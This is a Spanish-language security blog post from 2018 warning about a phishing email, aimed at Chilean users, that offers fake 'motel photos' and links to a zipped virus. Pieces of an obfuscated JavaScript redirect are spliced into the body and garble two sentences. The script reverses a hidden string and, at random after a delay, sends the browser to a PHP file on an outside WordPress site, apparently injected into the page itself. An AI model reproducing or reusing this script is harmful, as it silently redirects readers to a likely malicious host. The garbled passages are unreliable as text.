Virus que llega por correo te envía falsas fotos en un motel con supuesta amante
Una nueva e interesante forma de divulgar malware por Internet se está movilizando activamente por correo electrónico. Se trata de un falso mensaje -de una supuesta amante- que te envía fotos de un encuentro amoroso.
El mail proviene de alguien con nombre y apellido de una mujer (que puede variar según el envío) y te contacta sin dar tu nombre. Sólo indica la casilla electrónica diciendo que te comparte “las fotos del día del motel”.
He aquí un ejemplo del correo:
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos-motel-700×469.jpg” width=”700″ height=”469″ /></p>
<p>El mensaje no incluye un archivo adjuntado con las imágenes, lo que facilita su propagación. Es<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
to porque no no pasa por una verificación de virus.
Lo que hace es incluir unas miniaturas de una mujer desnuda y un botón de descargar. Si haces ‘clic‘ al enlace, te lleva a una Web externa donde está almacenado un archivo .zip con los archivos ejecutables del virus.
Si bien se desconoce el propósito del archivo infectado, cabe destacar que por el lenguaje utilizado está dirigido a usuarios chilenos. Esto sin descartar que pudiese existir otras versiones con léxico de otros países.
La recomendación es simple. Si un correo no se dirige a ti por tu nombre y apellido, no le prestes atención. Mucho menos si proviene de alguien que simplemente no conoces, por muy coloquial que sea su forma de escribir.
Además si se fijan en el dominio del correo, este proviene de una Web francesa que no tiene relación con el país donde está dirigida esta campaña maliciosa. Así mismo la Web donde se colgó el archivo .zip infectado, pertenece a una empresa estadounidense que habrían intervenido para este propósito.
El archivo fue eliminado de la Web utilizada para la propagación del malware y si recibes algo de un desconocido, ni por curiosidad te atrevas a descargarlo.
Como siempre decimos, mucho cuidado con los mails no solicitados, NO PULSAR EN FICHEROS ANEXADOS, ENLACES O IMAGENES CONTENIDAS EN LOS MISMOS !!!
saludos
ms, 21-8-2018
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.